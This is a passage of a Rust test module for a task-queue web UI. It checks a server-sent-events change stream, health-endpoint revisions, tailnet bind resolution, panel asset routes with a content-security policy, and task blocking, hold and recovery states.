22914        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22915        // task-focus form of the hash - a plain `#queue` navigation only
22916        // flips which view is visible. openQueueSectionFocus() must
22917        // therefore call renderQueue() itself, and applyRoute() too so the
22918        // view flips even when the hash doesn't change (the Backlog may
22919        // already be open when a tile is tapped, firing no hashchange
22920        // event at all).
22921        assert!(
22922            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22923            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22924             hashchange event that may never fire"
22925        );
22926    }
22927
22928    #[tokio::test]
22929    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22930        let f = Fixture::start().await;
22931
22932        let mut socket = tokio::net::TcpStream::connect(f.addr)
22933            .await
22934            .expect("connect");
22935        socket
22936            .write_all(
22937                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22938            )
22939            .await
22940            .expect("write request");
22941
22942        // Read until the first event arrives rather than to end of stream: the
22943        // stream is endless by design, which is the point of the route.
22944        let mut seen = String::new();
22945        let mut buf = [0u8; 1024];
22946        while !seen.contains("event: change") {
22947            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22948                .await
22949                .expect("the stream must speak within five seconds")
22950                .expect("read");
22951            assert!(read > 0, "the server closed the change stream: {seen}");
22952            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22953        }
22954
22955        assert!(
22956            seen.to_lowercase()
22957                .contains("content-type: text/event-stream"),
22958            "the browser only reconnects automatically for a real SSE stream: {seen}"
22959        );
22960        let data = seen
22961            .lines()
22962            .find_map(|l| l.strip_prefix("data:"))
22963            .expect("a data line");
22964        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22965        assert!(
22966            payload["queue_rev"].is_u64()
22967                && payload["runs_rev"].is_u64()
22968                && payload["questions_rev"].is_u64()
22969                && payload["talks_rev"].is_u64()
22970                && payload["notifications_rev"].is_u64()
22971                && payload["loop_rev"].is_u64(),
22972            "the client needs one revision per store to know what to refetch, \
22973             and `talks_rev` is the only notification a standing talk gets - a \
22974             phone whose radio slept through a turn learns about it here, as \
22975             does one whose operator started the loop from another device: \
22976             {payload}"
22977        );
22978
22979        // The front end re-polls health on a timer and on wake, and takes the
22980        // revisions from that answer whenever the stream is not up. So health
22981        // has to carry every key the stream carries: a phone on a link that
22982        // will not hold an SSE connection is exactly the phone that must still
22983        // notice a question, and a missing key there is not a 500 but a UI
22984        // that quietly stops updating.
22985        let health = f.get("/api/health").await.json();
22986        for key in [
22987            "queue_rev",
22988            "runs_rev",
22989            "questions_rev",
22990            "talks_rev",
22991            "notifications_rev",
22992            "loop_rev",
22993        ] {
22994            assert!(
22995                health[key].is_u64(),
22996                "health is the change stream's fallback and is missing `{key}`: {health}"
22997            );
22998        }
22999    }
23000
23001    #[tokio::test]
23002    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
23003        let home = TempDir::new().expect("temp home");
23004        let ui = delta_test_ui(home.path());
23005        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
23006        // Establish the existing conversation's baseline before appending.
23007        // Wait on the stream's shared notification rather than repeatedly
23008        // rebuilding health (config, process and disk observations included).
23009        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
23010        let mut changes = ui.monitor.broadcaster.subscribe();
23011        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
23012        on_disk.turns.push(crate::talk::Turn {
23013            sender: None,
23014            breaks: Some(Vec::new()),
23015            messages: Vec::new(),
23016            posted_by: None,
23017            who: crate::talk::Who::Operator,
23018            body: "a new turn".to_owned(),
23019            at: Timestamp::now(),
23020            attachments: Vec::new(),
23021            usage: None,
23022        });
23023        ui.talks.put(&mut on_disk).expect("record a turn");
23024
23025        let after = tokio::time::timeout(Duration::from_secs(5), async {
23026            loop {
23027                let change = changes.recv().await.expect("monitor notification");
23028                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
23029                if revision != before {
23030                    assert_eq!(
23031                        change.payload["talks_delta"]["changed"],
23032                        serde_json::json!([talk])
23033                    );
23034                    break revision;
23035                }
23036            }
23037        })
23038        .await
23039        .expect("shared monitor observes external turn");
23040        assert_ne!(
23041            before, after,
23042            "a phone must be able to notice a talk's reply without polling every store"
23043        );
23044        let Json(observed) = health(State(ui)).await.expect("health");
23045        assert_eq!(
23046            observed.talks_rev, after,
23047            "health exposes the same revision"
23048        );
23049    }
23050
23051    #[test]
23052    fn bind_reads_back_from_the_spelling_the_cli_prints() {
23053        // The CLI shows the default in `--help` and parses whatever comes
23054        // back, so the two directions have to agree or `--bind auto` breaks
23055        // the moment someone copies the help text.
23056        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
23057            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
23058        }
23059        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
23060        assert!("everywhere".parse::<Bind>().is_err());
23061    }
23062
23063    #[test]
23064    fn an_explicit_bind_address_is_taken_verbatim() {
23065        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
23066
23067        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
23068
23069        assert_eq!(addr, asked);
23070        assert!(
23071            warning.is_none(),
23072            "an operator who named an address gets no lecture"
23073        );
23074    }
23075
23076    #[test]
23077    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
23078        let (addr, warning) = resolve_bind(&Bind::Auto);
23079
23080        // This has to hold on a CI runner with no `tailscale` and on a dev box
23081        // with one, so the invariant asserted is the one shared by both
23082        // outcomes: the address is either a real tailnet address offered
23083        // without comment, or loopback with an explanation. What must never
23084        // happen is a silent fallback - an operator told "listening on
23085        // 127.0.0.1" with no reason would go looking for a firewall.
23086        match addr {
23087            IpAddr::V4(ip) if is_tailnet(&ip) => {
23088                assert!(warning.is_none(), "a tailnet address needs no warning");
23089            }
23090            other => {
23091                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
23092                let warning = warning.expect("a fallback has to explain itself");
23093                assert!(
23094                    warning.contains("127.0.0.1") && warning.contains("local-only"),
23095                    "the warning says what happened and what it costs: {warning}"
23096                );
23097            }
23098        }
23099    }
23100
23101    #[test]
23102    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
23103        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
23104        // boundary cases are what stop us binding to some other tool's idea of
23105        // an address.
23106        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
23107        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
23108        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
23109        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
23110        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
23111    }
23112
23113    #[test]
23114    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
23115        let ids = vec![
23116            "20260902-140501-aaaa".to_owned(),
23117            "20260902-140502-aabb".to_owned(),
23118        ];
23119
23120        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
23121        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
23122        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
23123
23124        assert_eq!(missing.status, StatusCode::NOT_FOUND);
23125        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
23126        assert_eq!(short, "20260902-140502-aabb");
23127    }
23128    #[tokio::test]
23129    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
23130        // The prompt tells agents to reference attachments by bare filename.
23131        // A document served at `.../panel` resolves `shot.png` against its own
23132        // directory, i.e. `.../shot.png`, which is not the asset route - so a
23133        // panel written exactly as instructed showed broken images. Caught by
23134        // looking at a real one in a browser, not by reading the code.
23135        let fx = Fixture::start().await;
23136        let id = panel(
23137            &fx,
23138            "<img src=\"shot.png\">",
23139            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
23140        );
23141
23142        // The frame's own URL ends in a filename, so its siblings are reachable.
23143        let doc = fx
23144            .get(&format!("/api/questions/{id}/panel/index.html"))
23145            .await;
23146        assert_eq!(doc.status, 200, "{}", doc.body);
23147        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
23148
23149        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
23150        assert_eq!(sibling.status, 200, "{}", sibling.body);
23151        assert_eq!(sibling.header("content-type"), Some("image/png"));
23152        assert_eq!(
23153            sibling.header("content-security-policy"),
23154            Some(PANEL_CSP),
23155            "the sibling route must carry the same policy as the asset route"
23156        );
23157
23158        // The original spelling keeps working: HEAD on it is how the front end
23159        // decides whether to mount a frame at all.
23160        assert_eq!(
23161            fx.head(&format!("/api/questions/{id}/panel")).await.status,
23162            200
23163        );
23164    }
23165
23166    #[test]
23167    fn delta_stamps_cover_add_update_remove_and_noop() {
23168        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
23169        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
23170        let delta = diff_stamps(&before, &after, 42);
23171        assert_eq!(delta.base, 42);
23172        assert_eq!(delta.changed, ["b", "c"]);
23173        assert_eq!(delta.removed, ["a"]);
23174        let same = diff_stamps(&after, &after, 43);
23175        assert!(same.changed.is_empty() && same.removed.is_empty());
23176        assert_ne!(stamps_revision(&before), stamps_revision(&after));
23177        let nanos: Stamps = [("b".into(), (2, 20))].into();
23178        let same_ms: Stamps = [("b".into(), (3, 20))].into();
23179        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
23180        assert_eq!(stamps_revision(&Stamps::new()), 0);
23181    }
23182
23183    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
23184        std::fs::create_dir_all(home.join("runs")).unwrap();
23185        Arc::new(
23186            Ui::new(
23187                Queue::at(home.join("queue")),
23188                Questions::at(home.join("questions")),
23189                Talks::at(home.join("talks")),
23190                home.join("runs"),
23191                home.to_owned(),
23192                PathBuf::from("/repo/magi"),
23193            )
23194            .with_worktrees_root(home.join("wt")),
23195        )
23196    }
23197
23198    #[test]
23199    fn monitor_scan_isolates_store_failures_and_recovers() {
23200        let home = TempDir::new().unwrap();
23201        let ui = delta_test_ui(home.path());
23202        std::fs::create_dir_all(ui.questions.root()).unwrap();
23203        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
23204        let before = monitor_scan(&ui, None);
23205        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
23206        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23207        std::fs::create_dir_all(ui.talks.root()).unwrap();
23208        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
23209        let during = monitor_scan(&ui, Some(before.clone()));
23210        assert_eq!(during.0.2, before.0.2);
23211        assert_ne!(during.0.3, before.0.3);
23212        assert!(during.1[2].contains_key("new"));
23213        std::fs::remove_file(ui.questions.root()).unwrap();
23214        let after = monitor_scan(&ui, Some(during));
23215        assert_eq!(after.0.2, 0);
23216        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
23217        // A failed first scan also permits healthy stores to publish.
23218        std::fs::write(ui.questions.root(), "not a directory").unwrap();
23219        assert_ne!(monitor_scan(&ui, None).0.3, after.0.3);
23220    }
23221
23222    #[test]
23223    fn chat_status_cached_inventory_invalidates_on_store_failure_and_recovery() {
23224        let home = TempDir::new().unwrap();
23225        let ui = delta_test_ui(home.path());
23226        let root = ui.queue.root();
23227        std::fs::create_dir_all(root).unwrap();
23228        let before = monitor_scan(&ui, None);
23229        *ui.monitor.latest.lock().unwrap() = Some(before.clone());
23230        let status = || {
23231            chat_inventory(&ui)
23232                .status_of("chat", true, crate::chat_status::Goals::default(), false)
23233                .kind
23234        };
23235        assert_eq!(status(), crate::chat_status::Kind::Idle);
23236        std::fs::remove_dir(root).unwrap();
23237        std::fs::write(root, "not a directory").unwrap();
23238        let failed = monitor_scan(&ui, Some(before.clone()));
23239        assert_ne!(failed.0.3, before.0.3);
23240        *ui.monitor.latest.lock().unwrap() = Some(failed.clone());
23241        assert_eq!(status(), crate::chat_status::Kind::Unknown);
23242        std::fs::remove_file(root).unwrap();
23243        std::fs::create_dir(root).unwrap();
23244        let recovered = monitor_scan(&ui, Some(failed));
23245        *ui.monitor.latest.lock().unwrap() = Some(recovered);
23246        assert_eq!(status(), crate::chat_status::Kind::Idle);
23247    }
23248
23249    #[tokio::test]
23250    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
23251        let home = TempDir::new().unwrap();
23252        let ui = delta_test_ui(home.path());
23253        let mut task = Task::new(
23254            "stream task".into(),
23255            "text".into(),
23256            PathBuf::from("/repo"),
23257            Source::Human,
23258        );
23259        ui.queue.put(&mut task).unwrap();
23260        let response = events(State(ui.clone())).await.into_response();
23261        let mut stream = response.into_body().into_data_stream();
23262        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
23263            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
23264                .await
23265                .unwrap()
23266                .unwrap()
23267                .unwrap();
23268            let text = String::from_utf8(chunk.to_vec()).unwrap();
23269            let data = text
23270                .lines()
23271                .find_map(|line| {
23272                    line.strip_prefix("data: ")
23273                        .or_else(|| line.strip_prefix("data:"))
23274                })
23275                .unwrap();
23276            serde_json::from_str(data).unwrap()
23277        }
23278        let initial = change(&mut stream).await;
23279        assert!(initial.get("queue_delta").is_none());
23280        task.instruction.push_str(" changed");
23281        ui.queue.put(&mut task).unwrap();
23282        let updated = change(&mut stream).await;
23283        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
23284        assert_eq!(
23285            updated["queue_delta"]["changed"],
23286            serde_json::json!([task.id])
23287        );
23288        assert_eq!(
23289            updated["queue_rev"].as_u64(),
23290            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
23291        );
23292        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23293        let removed = change(&mut stream).await;
23294        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
23295        assert_eq!(
23296            removed["queue_delta"]["removed"],
23297            serde_json::json!([task.id])
23298        );
23299    }
23300
23301    #[tokio::test]
23302    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
23303        let home = TempDir::new().unwrap();
23304        let ui = delta_test_ui(home.path());
23305        let queue = ui.queue.clone();
23306        let query = |ids: Option<&str>| {
23307            Query(ListQuery {
23308                limit: Some(2),
23309                ids: ids.map(str::to_owned),
23310            })
23311        };
23312        let mut root = Task::new(
23313            "root".into(),
23314            "instruction".into(),
23315            PathBuf::from("/repo"),
23316            Source::Human,
23317        );
23318        queue.put(&mut root).unwrap();
23319        let mut blocked = Task::new(
23320            "blocked".into(),
23321            "instruction".into(),
23322            PathBuf::from("/repo"),
23323            Source::Human,
23324        );
23325        blocked.block(vec![root.id.clone()], None);
23326        queue.put(&mut blocked).unwrap();
23327        let whole =
23328            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
23329                .unwrap();
23330        let subset = serde_json::to_value(
23331            queue_list(State(ui.clone()), query(Some(&root.id)))
23332                .await
23333                .unwrap()
23334                .0,
23335        )
23336        .unwrap();
23337        assert_eq!(whole, subset, "requested root plus its blocked dependent");
23338        let blockers = serde_json::to_value(
23339            queue_list(State(ui.clone()), query(Some("")))
23340                .await
23341                .unwrap()
23342                .0,
23343        )
23344        .unwrap();
23345        assert_eq!(blockers.as_array().unwrap().len(), 1);
23346        assert_eq!(blockers[0]["id"], blocked.id);
23347        assert_eq!(
23348            blockers[0]["waits_on"],
23349            whole
23350                .as_array()
23351                .unwrap()
23352                .iter()
23353                .find(|row| row["id"] == blocked.id)
23354                .unwrap()["waits_on"]
23355        );
23356
23357        for id in [
23358            "20260902-140501-aaaa",
23359            "20260902-140502-bbbb",
23360            "20260902-140503-cccc",
23361        ] {
23362            write_run(&ui.runs, id, RunStatus::Merged);
23363        }
23364        let old = serde_json::to_value(
23365            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
23366                .await
23367                .unwrap()
23368                .0,
23369        )
23370        .unwrap();
23371        assert!(
23372            old.as_array().unwrap().is_empty(),
23373            "older updates must not enter the window"
23374        );
23375        let newest = serde_json::to_value(
23376            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
23377                .await
23378                .unwrap()
23379                .0,
23380        )
23381        .unwrap();
23382        assert_eq!(newest.as_array().unwrap().len(), 1);
23383        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
23384
23385        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
23386        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
23387        let talks = serde_json::to_value(
23388            talks_list(
23389                State(ui.clone()),
23390                query(Some("20260905-000000-d4e5")),
23391                header::HeaderMap::new(),
23392            )
23393            .await
23394            .unwrap()
23395            .0,
23396        )
23397        .unwrap();
23398        assert_eq!(talks.as_array().unwrap().len(), 1);
23399        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
23400        assert_eq!(
23401            serde_json::to_value(
23402                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
23403                    .await
23404                    .unwrap()
23405                    .0
23406            )
23407            .unwrap(),
23408            serde_json::json!([])
23409        );
23410    }
23411
23412    #[tokio::test]
23413    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
23414    async fn delta_payload_benchmark() {
23415        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
23416        let ui = delta_test_ui(&home);
23417        let query = |ids: Option<String>| {
23418            Query(ListQuery {
23419                limit: Some(50),
23420                ids,
23421            })
23422        };
23423        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
23424        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
23425        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
23426            .await
23427            .unwrap()
23428            .0;
23429        let queue_id = queue
23430            .iter()
23431            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
23432            .unwrap_or(&queue[0])
23433            .task
23434            .id
23435            .clone();
23436        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
23437            .await
23438            .unwrap()
23439            .0;
23440        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
23441            .await
23442            .unwrap()
23443            .0;
23444        let talks_delta = talks_list(
23445            State(ui.clone()),
23446            query(Some(talks[0].id.clone())),
23447            header::HeaderMap::new(),
23448        )
23449        .await
23450        .unwrap()
23451        .0;
23452        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
23453        eprintln!(
23454            "DELTA_PAYLOAD {}",
23455            serde_json::json!({
23456                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
23457                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
23458                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
23459                "counts": [queue.len(), runs.len(), talks.len()],
23460                "blocked": queue_delta.len() - 1,
23461            })
23462        );
23463    }
23464
23465    #[test]
23466    fn runs_revision_moves_when_deleting_an_older_run() {
23467        let temp = TempDir::new().expect("tempdir");
23468        let runs = temp.path().join("runs");
23469        std::fs::create_dir_all(&runs).expect("create runs dir");
23470
23471        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
23472
23473        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
23474        std::thread::sleep(Duration::from_millis(10));
23475        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
23476
23477        let rev_before = runs_revision(&runs);
23478        assert!(rev_before > 0);
23479
23480        let old_dir = runs.join("20260901-100000-old1");
23481        std::fs::remove_dir_all(&old_dir).expect("remove old run");
23482
23483        let rev_after = runs_revision(&runs);
23484        assert_ne!(
23485            rev_before, rev_after,
23486            "deleting an older run must change the revision so other clients see the deletion"
23487        );
23488    }
23489
23490    /// A run's own `run.json` on an explicit `runs` root, bypassing the
23491    /// process-global home entirely — `RunState::save` writes through
23492    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
23493    /// (see `tests::home_lock` in the integration suite for why).
23494    fn write_state(runs: &FsPath, state: &RunState) {
23495        let dir = runs.join(&state.id);
23496        std::fs::create_dir_all(&dir).expect("run dir");
23497        std::fs::write(
23498            dir.join("run.json"),
23499            serde_json::to_string_pretty(state).expect("serialize run"),
23500        )
23501        .expect("write run.json");
23502    }
23503
23504    /// A seat starting or finishing is a write to `run.json` like any other,
23505    /// so it moves the same revision the change stream already watches —
23506    /// nothing new for `/api/events` to learn, but the property this feature
23507    /// depends on to reach the phone without a poll.
23508    #[test]
23509    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
23510        let temp = TempDir::new().expect("tempdir");
23511        let runs = temp.path().join("runs");
23512        std::fs::create_dir_all(&runs).expect("create runs dir");
23513        let mut state = RunState::new(
23514            PathBuf::from("/repo/magi"),
23515            "main".to_owned(),
23516            "0123456789abcdef".to_owned(),
23517            "task".to_owned(),
23518            Config::default(),
23519        );
23520        state.id = "20260902-100000-c0de".to_owned();
23521        write_state(&runs, &state);
23522
23523        let rev_idle = runs_revision(&runs);
23524        std::thread::sleep(Duration::from_millis(10));
23525        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
23526        write_state(&runs, &state);
23527        let rev_started = runs_revision(&runs);
23528        assert_ne!(
23529            rev_idle, rev_started,
23530            "a seat starting must move the revision"
23531        );
23532
23533        std::thread::sleep(Duration::from_millis(10));
23534        state.seat_finished("judge-1");
23535        write_state(&runs, &state);
23536        let rev_finished = runs_revision(&runs);
23537        assert_ne!(
23538            rev_started, rev_finished,
23539            "and clearing it again must move the revision a second time"
23540        );
23541    }
23542
23543    #[tokio::test]
23544    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
23545        // `TaskView` flattens `Task`, so this is really asserting that
23546        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
23547        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
23548        // never touched web.rs, so nothing here caught it if it had.
23549        let fx = Fixture::start().await;
23550        let q = fx.queue();
23551
23552        let mut t = Task::new(
23553            "Task".to_owned(),
23554            "Instruction".to_owned(),
23555            PathBuf::from("/repo"),
23556            Source::Human,
23557        );
23558        t.block(
23559            vec!["20260101-000000-dead".to_owned()],
23560            Some("waiting on Task 1".to_owned()),
23561        );
23562        t.answers.push(crate::queue::AnsweredQuestion {
23563            question: "Which backend?".to_owned(),
23564            answer: "SQLite".to_owned(),
23565        });
23566        q.put(&mut t).expect("put t");
23567
23568        let res = fx.get("/api/queue").await;
23569        assert_eq!(res.status, 200);
23570        let list = res.json();
23571        let view = list
23572            .as_array()
23573            .expect("array")
23574            .iter()
23575            .find(|v| v["id"] == t.id)
23576            .expect("task in list");
23577        assert_eq!(view["status_str"], "blocked");
23578        assert_eq!(
23579            view["blocked_by"],
23580            serde_json::json!(["20260101-000000-dead"])
23581        );
23582        assert_eq!(view["block_reason"], "waiting on Task 1");
23583        assert_eq!(view["answers"][0]["question"], "Which backend?");
23584        assert_eq!(view["answers"][0]["answer"], "SQLite");
23585
23586        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
23587        // but never `answers` - that is a settled decision, not state
23588        // describing the current block, so it survives.
23589        let res = fx
23590            .post(&format!("/api/queue/{}/hold", t.short()), None)
23591            .await;
23592        assert_eq!(res.status, 200);
23593        let held = res.json();
23594        assert_eq!(held["status_str"], "held");
23595        assert_eq!(held["blocked_by"], serde_json::json!([]));
23596        assert!(held["block_reason"].is_null());
23597        assert_eq!(held["answers"][0]["answer"], "SQLite");
23598    }
23599
23600    #[tokio::test]
23601    async fn task_recovery_pending_decisions_block_disk_autoresume() {
23602        let fx = Fixture::start().await;
23603        let queue = fx.queue();
23604        let questions = fx.questions();
23605        let mut task = Task::new(
23606            "Disk recovery".into(),
23607            "Inspect".into(),
23608            PathBuf::from("/repo"),
23609            Source::Human,
23610        );
23611        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
23612        task.mark_disk_capacity();
23613        queue.put(&mut task).unwrap();
23614        let mut records = Vec::new();
23615        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
23616            let mut q = Question::new(
23617                task.id.clone(),
23618                node.into(),
23619                "triage".into(),
23620                "Resume recovery?".into(),
23621                String::new(),
23622                vec![],
23623            );
23624            q.routed_task = Some(task.id.clone());
23625            questions.put(&mut q).unwrap();
23626            records.push(q);
23627        }
23628        let url = format!("/api/queue/{}", task.id);
23629        let view = fx.get(&url).await.json();
23630        assert_eq!(view["status_str"], "held");
23631        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23632        assert!(
23633            view["recovery"]
23634                .as_str()
23635                .unwrap()
23636                .contains("Disk recovery alone will not resume")
23637        );
23638        assert!(
23639            view["recovery"]
23640                .as_str()
23641                .unwrap()
23642                .contains("Disk wait (automatically monitored)")
23643        );
23644        for blocker in view["blockers"].as_array().unwrap() {
23645            assert!(blocker["destination"].is_null());
23646            assert!(
23647                blocker["next"]
23648                    .as_str()
23649                    .unwrap()
23650                    .contains("pending delivery")
23651            );
23652        }
23653        for q in &mut records {
23654            q.routed_chat = Some("owning-chat".into());
23655            questions.put(q).unwrap();
23656        }
23657        let view = fx.get(&url).await.json();
23658        for blocker in view["blockers"].as_array().unwrap() {
23659            assert_eq!(
23660                blocker["destination"],
23661                serde_json::json!(["chat", "owning-chat"])
23662            );
23663            assert_eq!(blocker["resolves_itself"], false);
23664        }
23665        // Answered routed decisions can still be awaiting task-chat application.
23666        for q in &mut records {
23667            q.status = ask::QuestionStatus::Answered;
23668            questions.put(q).unwrap();
23669        }
23670        assert!(crate::triage::pending_for(&questions, &task));
23671        let view = fx.get(&url).await.json();
23672        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
23673        assert!(
23674            view["blockers"][0]["next"]
23675                .as_str()
23676                .unwrap()
23677                .contains("not yet applied")
23678        );
23679        for q in &records {
23680            task.mark_triage_applied(&q.id);
23681        }
23682        queue.put(&mut task).unwrap();
23683        assert!(!crate::triage::pending_for(&questions, &task));
23684        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
23685        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
23686    }
23687
23688    #[test]
23689    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
23690        use crate::queue::HoldSource;
23691        let mut task = Task::new(
23692            "Recovery".into(),
23693            "Inspect".into(),
23694            PathBuf::from("/repo"),
23695            Source::Human,
23696        );
23697        assert!(task_recovery(&task).is_none());
23698        task.hold_manual(Some("Operator paused".into()));
23699        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
23700        task.block(vec!["dependency".into()], Some("Decision needed".into()));
23701        let text = task_recovery(&task).unwrap();
23702        assert!(text.contains("restores held"));
23703        assert!(text.contains("clears its dependency references"));
23704        task.hold_source = Some(HoldSource::Machine);
23705        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
23706        task.mark_disk_capacity();
23707        let view = TaskView::with_inventory(
23708            task.clone(),
23709            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
23710        );
23711        let json = serde_json::to_value(view).unwrap();
23712        assert_eq!(json["block_reason"], "Decision needed");
23713        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
23714        let recovery = json["recovery"].as_str().unwrap();
23715        assert!(recovery.contains("not current capacity"));
23716        assert!(recovery.contains("triage rechecks"));
23717        assert_eq!(json["blockers"][0]["state"], "missing");
23718        task.blocked_from = Some(TaskStatus::Queued);
23719        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
23720        task.blocked_from = None;
23721        assert!(task_recovery(&task).unwrap().contains("restores held"));
23722    }
23723
23724    #[tokio::test]
23725    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23726        let fx = Fixture::start().await;
23727        let q = fx.queue();
23728        let mk = |title: &str| {
23729            Task::new(
23730                title.to_owned(),
23731                "Instruction".to_owned(),
23732                PathBuf::from("/repo"),
23733                Source::Human,
23734            )
23735        };
23736        let mut root = mk("root");
23737        root.hold_manual(Some("waiting".to_owned()));
23738        q.put(&mut root).unwrap();
23739        let mut mid = mk("mid");
23740        mid.block(vec![root.id.clone()], None);
23741        q.put(&mut mid).unwrap();
23742        let mut leaf = mk("leaf");
23743        leaf.block(vec![mid.id.clone()], None);
23744        q.put(&mut leaf).unwrap();
23745
23746        let list = fx.get("/api/queue").await.json();
23747        let find = |id: &str| {
23748            list.as_array()
23749                .unwrap()
23750                .iter()
23751                .find(|v| v["id"] == id)
23752                .unwrap()
23753                .clone()
23754        };
23755        let leaf_view = find(&leaf.id);
23756        assert_eq!(
23757            leaf_view["waits_on"],
23758            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23759        );
23760        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23761        assert_eq!(
23762            find(&mid.id)["waits_on"],
23763            serde_json::json!([format!("{} (held)", root.short())])
23764        );
23765        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23766    }
23767
23768    #[tokio::test]
23769    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23770        let fx = Fixture::start().await;
23771        let q = fx.queue();
23772
23773        // 1. A queued task with runs attached can be deleted.
23774        let mut t1 = Task::new(
23775            "Task 1".to_owned(),
23776            "Instruction 1".to_owned(),
23777            PathBuf::from("/repo"),
23778            Source::Human,
